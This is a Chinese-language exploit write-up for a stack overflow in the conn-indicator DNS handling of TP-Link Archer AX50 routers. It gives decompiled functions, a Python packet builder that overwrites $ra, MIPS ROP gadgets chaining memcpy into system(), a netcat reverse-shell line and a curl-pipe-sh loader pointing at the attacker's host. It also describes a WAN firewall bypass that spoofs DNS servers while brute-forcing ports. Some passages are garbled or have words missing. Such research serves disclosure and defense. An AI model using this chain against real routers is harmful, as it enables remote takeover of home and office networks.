TP-Link Archer AX50 路由器在其固件版本 1.0.14 Build 20240108 rel.42655(4555) 中存在栈缓冲区溢出漏洞,可在 LAN 和 WAN 侧实现远程代码执行。此漏洞与 Flashback 团队发现并在其系列视频中详细描述(见参考资料)的 CVE-2020-10881 具有相同的根本原因。不过,利用过程略有不同,因此需要编写新的漏洞利用代码。

此漏洞出现在 conn-indicator 二进制程序中,该程序负责通过定期发送 DNS 查询并监听其在 32000 到 61000 之间随机 UDP 端口上的响应,来检查路由器是否连接到互联网。
接收并首次处理这些 DNS 响应数据包的函数是 TPDns_RecvAndResolve(),位于 0x00405e3c。当使用 recvfrom 接收到数据包时,它被存储在 buf 中,buf 的大小为 2960 字节。然后,它检查返回码是否正确(RCODE == 0),并检查数据包中的问题和答案数量(QDCOUNT 和 ANCOUNT)。为了处理答案,它调用 process_resolved_IP(),并传递指向 buf 的指针、answer_ptr(指向数据包中答案所在位置的指针)、答案数量(ANCOUNT)以及其他标志:
undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){
[...]
byte buf [2960];
[...]
while( true ) {
recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50,
local_38);
piVar2 = __errno_location();
if (recv_bytes == 0) goto RECV_ERROR;
if (recv_bytes < 0) break;
total_recv_bytes = total_recv_bytes + recv_bytes;
if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP;
}
[...]
/* 检查 ANCOUNT 是否不为 0(答案至少包含一个域名) */
puVar5 = (undefined4 *)0x0;
if (buf._6_2_ != 0) {
local_40 = 0;
puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40);
answer_ptr = answer_ptr + local_40;
}
[...]
process_resolved_IP() 函数位于 0x00405818,遍历每个答案并依次调用 DNS_answer_parser()。它传递的参数包括指向 buf 的指针、answer(指向 buf 中当前正在解析的答案的指针)和指向 current_answer 的指针,后者是一个大小为 256 的缓冲区:
undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){
[...]
byte current_answer [256];
ushort answer_flags [5];
i = 0;
puVar9 = (undefined4 *)0x0;
puVar7 = (undefined4 *)0x0;
answer = answer_ptr;
do {
/* 检查是否已解析完所有答案 */
if (i == ANCOUNT) {
if (param_4 != (undefined4 *)0x0) {
*param_4 = puVar7;
}
if (param_5 != (int *)0x0) {
*param_5 = (int)answer - (int)answer_ptr;
}
return puVar9;
}
bytes_processed = DNS_answer_parser(buf,answer,current_answer,1);
memcpy(answer_flags,answer + bytes_processed,10);
uVar1 = answer_flags._4_4_;
bytes_processed = bytes_processed + 10;
uVar6 = (uint)answer_flags[4];
uVar8 = (uint)answer_flags[0];
if (uVar8 == 2) {
LAB_00405924:
DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1);
}
else if (uVar8 < 3) {
pbVar2 = answer + bytes_processed;
if (uVar8 == 1) {
sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2],
(uint)pbVar2[3]);
}
}
else {
if (uVar8 == 5) goto LAB_00405924;
if (uVar8 == 0x1c) {
inet_ntop(10,answer,(char *)abStack_240,0xff);
}
}
answer = answer + bytes_processed + uVar6;
[...]
i = i + 1;
} while( true );
}
DNS_answer_parser() 函数位于 0x004054e0,逐个解析每个答案,每个答案由一个域名表示,格式为 <len><domain><len><domain>...。例如,example.com 会被表示为 7example3com。该函数循环遍历构成答案域名的每一对 <len><domain>,并检查 <len> 是否小于 63(domain_name & 0xc0 != 0)。然后,它调用 memcpy 并将 answer 中 <len> 字节(对应于 <domain>)复制到 current_answer 中。对域名中的下一对 <len><domain> 重复此过程。
int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){
int iVar1;
uint __n;
int iVar2;
uint uVar3;
ushort flag_and_offset;
byte domain_name;
iVar2 = 0;
do {
domain_name = *answer;
__n = (uint)domain_name;
iVar1 = 1;
if (__n == 0) {
*current_answer = 0;
LAB_004055b0:
return iVar2 + iVar1;
}
/* 检查是否使用了压缩模式 */
if ((domain_name & 0xc0) != 0) {
flag_and_offset = CONCAT11(domain_name,answer[1]);
DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag);
iVar1 = 2;
goto LAB_004055b0;
}
uVar3 = __n + 1;
if (flag == 0) {
*current_answer = '.';
memcpy(current_answer + 1,answer + 1,__n);
__n = uVar3;
}
else {
memcpy(current_answer,answer + 1,__n);
}
answer = answer + uVar3;
current_answer = current_answer + __n;
iVar2 = iVar2 + uVar3;
flag = 0;
} while( true );
}
由于 current_answer 只有 256 字节长,攻击者可以发送一个包含足够大域名的答案的数据包,从而溢出缓冲区。
利用过程与 Flashback 团队在关于 CVE-2020-10881 的视频系列(见参考资料)中解释的过程非常相似,但存在一些关键差异:
move 指令上有所不同,因为现在作为 memcpy() 的 count 参数移至 $a2 的寄存器是 $s1,而不是 $s0。process_resolved_IP() 中的 i 变量被加载到 $s5 而不是 $s8。然后,当与 $v1 比较时,$v1 从 $sp+616 获取,这距离溢出的缓冲区很远,因此必须进一步破坏答案和命令之后的栈。/tmp 外,因此所有写入和读取都必须在该目录中进行。这使得反向 shell 长度不可能少于 62 个字符,因此要将其部署到目标上,必须从 Web 服务器提供,并向目标发送一个用于下载和执行它的命令。尽管如此,我还是会解释整个过程。
conn-indicator 二进制程序启用了 NX,并且除了自身以外启用了 ASLR:
root@Archer_AX50:/proc/6541# cat maps
00400000-0040f000 r-xp 00000000 1f:0a 1430 /usr/sbin/conn-indicator
0041e000-0041f000 rw-p 0000e000 1f:0a 1430 /usr/sbin/conn-indicator
0041f000-00433000 rw-p 00000000 00:00 0 [heap]
778c2000-778d8000 r-xp 00000000 1f:0a 4681 /lib/libm-0.9.33.2.so
778d8000-778e7000 ---p 00000000 00:00 0
778e7000-778e8000 rw-p 00015000 1f:0a 4681 /lib/libm-0.9.33.2.so
778e8000-778fa000 r-xp 00000000 1f:0a 2506 /usr/lib/libz.so.1.2.7
778fa000-7790a000 ---p 00000000 00:00 0
7790a000-7790b000 rw-p 00012000 1f:0a 2506 /usr/lib/libz.so.1.2.7
7790b000-77a2b000 r-xp 00000000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a2b000-77a3a000 ---p 00000000 00:00 0
77a3a000-77a40000 rw-p 0011f000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a40000-77a46000 r-xp 00000000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a46000-77a55000 ---p 00000000 00:00 0
77a55000-77a56000 rw-p 00005000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a56000-77aac000 r-xp 00000000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77aac000-77abb000 ---p 00000000 00:00 0
77abb000-77abc000 r--p 00055000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abc000-77abd000 rw-p 00056000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abd000-77ac2000 rw-p 00000000 00:00 0
77ac2000-77ad6000 r-xp 00000000 1f:0a 4872 /lib/libgcc_s.so.1
77ad6000-77ae5000 ---p 00000000 00:00 0
77ae5000-77ae6000 rw-p 00013000 1f:0a 4872 /lib/libgcc_s.so.1
77ae6000-77aef000 r-xp 00000000 1f:0a 4893 /lib/libuci.so
77aef000-77afe000 ---p 00000000 00:00 0
77afe000-77aff000 rw-p 00008000 1f:0a 4893 /lib/libuci.so
77aff000-77b01000 r-xp 00000000 1f:0a 4711 /lib/libblobmsg_json.so
77b01000-77b10000 ---p 00000000 00:00 0
77b10000-77b11000 rw-p 00001000 1f:0a 4711 /lib/libblobmsg_json.so
77b11000-77b15000 r-xp 00000000 1f:0a 4709 /lib/libubus.so
77b15000-77b24000 ---p 00000000 00:00 0
77b24000-77b25000 rw-p 00003000 1f:0a 4709 /lib/libubus.so
77b25000-77b2e000 r-xp 00000000 1f:0a 4714 /lib/libubox.so
77b2e000-77b3d000 ---p 00000000 00:00 0
77b3d000-77b3e000 rw-p 00008000 1f:0a 4714 /lib/libubox.so
77b3e000-77b41000 r-xp 00000000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b41000-77b50000 ---p 00000000 00:00 0
77b50000-77b51000 r--p 00002000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b51000-77b52000 rw-p 00003000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b52000-77b59000 r-xp 00000000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b65000-77b68000 rw-p 00000000 00:00 0
77b68000-77b69000 r--p 00006000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b69000-77b6a000 rw-p 00007000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
7fa04000-7fa25000 rw-p 00000000 00:00 0 [stack]
7ffff000-80000000 r-xp 00000000 00:00 0 [vdso]
root@Archer_AX50:/proc/6541# exploit
因此,利用此漏洞的策略是构建一个 ROP 链,在其中我们可以使用所需的命令执行 system()。
为了能够溢出缓冲区并破坏 $ra 寄存器,攻击者需要发送一个 DNS 响应,其中包含一个足够大的域名的答案。关于 DNS 头部,唯一的要求是 RCODE 为 0 且 ANCOUNT 为 1,因为数据包只需要包含一个答案。例如,以下数据包将 $ra 寄存器破坏为 0x50505050:
# 每个域名的长度必须小于 63
DOMAIN_LEN = 0x3f
TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]
# DNS 响应头部
packet = []
packet += TXID
packet += FLAGS
packet += QDCOUNT
packet += ANCOUNT
packet += NSCOUNT
packet += ARCOUNT
# 4 个长度为 DOMAIN_LEN 的域名以填满缓冲区
for i in range (0,4):
packet += [DOMAIN_LEN]
for j in range(0, DOMAIN_LEN):
packet += [0x41]
# 用于填充剩余变量的域名
packet += [0x17]
packet += [0x41] * 23
# 用于破坏栈的域名
packet += [0x28]
packet += struct.pack(">I", 0x30303030) # s0
packet += struct.pack(">I", 0x31313131) # s1
packet += struct.pack(">I", 0x32323232) # s2
packet += struct.pack(">I", 0x33333333) # s3
packet += struct.pack(">I", 0x34343434) # s4
packet += struct.pack(">I", 0x35353535) # s5
packet += struct.pack(">I", 0x36363636) # s6
packet += struct.pack(">I", 0x37373737) # s7
packet += struct.pack(">I", 0x38383838) # s8
packet += struct.pack(">I", 0x50505050) # ra
packet += [0]
现在,由于二进制程序的地址在每次执行中都是固定的,并且它具有可写区域,计划是将要执行的命令复制到那里,然后调用 system()。为此,使用以下 ROP 链:
memcpy() 准备参数。下一个小工具的地址被加载到 $ra 中。然后,$s2 被移到 $v0 中。这包含了二进制程序的可写区域的地址,命令将被复制到该区域,这将成为 memcpy() 的 dest 参数。然后,memcpy 的 count 参数从我们控制的栈地址加载到 $s1 中。最后,跳转到下一个小工具:00402700 lw ra, 0x2c(sp)
00402704 move v0, s2
00402708 lw s2, 0x28(sp)
0040270c lw s1, 0x24(sp)
00402710 lw s0, 0x20(sp)
00402714 jr ra
00402718 addiu sp, sp, 0x30
memcpy() 准备参数,然后调用它。memcpy() 的 dest 参数,对应于二进制程序的可写区域(之前位于 $v0 中),被加载到 $a0 中作为 memcpy() 的第一个参数。在执行的这一点,$a1 指向 DNS 响应数据包中答案的末尾,也就是我们放置命令字符串的位置,因此无需准备 src 参数。然后,包含前一个小工具中加载的 count 参数的 $s1 被移到 $a2 中作为 memcpy() 的第三个参数。最后,调用 memcpy(),命令字符串被复制到二进制程序的可写区域。此小工具位于 process_resolved_IP() 的末尾,因此执行现在在其内部继续。现在需要安排栈,使函数能够成功返回。为此,从栈和某些寄存器加载的此函数的一些变量(如 ANCOUNT、、 和 )被仔细放置在 payload 中。返回时, 的地址再次从栈中取出,我们在其中放置下一个小工具的地址以跳转到那里。00405a98 move a0, v0
00405a9c jal <EXTERNAL>:memcpy
00405aa0 _move a2, s1
[...]
system() 准备参数并调用它。在执行的这一点,$v0 包含 $s3 的值,我们在其中放置了二进制程序可写区域的地址,现在该区域包含命令。因此,$v0 被移到 $a0。然后,system() 的地址(被导入到二进制程序中)从栈中放置到 $ra 中,并调用 system(),从而实现代码执行。004065e8 move a0, v0
004065ec clear v0
004065f0 lw ra, 0x1c(sp)
004065f4 jr ra
现在,要在目标上执行的反向 shell(目标运行 busybox)如下所示:
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> <port> >/tmp/f
然而,要执行的命令必须短于 62 个字符,并且由于文件系统只有在 /tmp 下可写,因此无法直接执行反向 shell。相反,执行了一个加载器:curl http://<attacker>:<port>/ | sh,该命令从攻击者处获取反向 shell。
现在,剩下的唯一事情是暴力破解 conn-indicator 正在监听的端口,这可以很容易地自动化。
到目前为止,此漏洞利用仅在 LAN 侧有效,因为 WAN 侧有防火墙。但有一种方法可以绕过此限制。为了使 conn-indicator 接收 DNS 响应,防火墙允许来自二进制程序发送的 DNS 查询相同 IP 的数据包,即来自目标路由器正在使用的 DNS 的数据包。因此,要绕过防火墙,只需发送伪装成 DNS 服务器的数据包即可。如果目标位于本地网络中,DNS 服务器很可能类似于 192.168.0.1、192.168.1.1 或 10.0.0.1;如果目标直接连接到互联网,则可能类似于 8.8.8.8、1.1.1.1 或其他常见 DNS 服务器。
完全功能性的漏洞利用同时适用于 LAN 和 WAN。LAN 模式暴力破解从 32000 到 61000 的每个端口,WAN 模式暴力破解相同的端口以及所有可能的 DNS IP,这些 IP 存储在 SPOOF_LIST 中。此列表应根据攻击者对目标的了解进行编辑,但只要有足够的时间(几分钟),它应该能覆盖 90% 的情况。
param_4param_5i$ra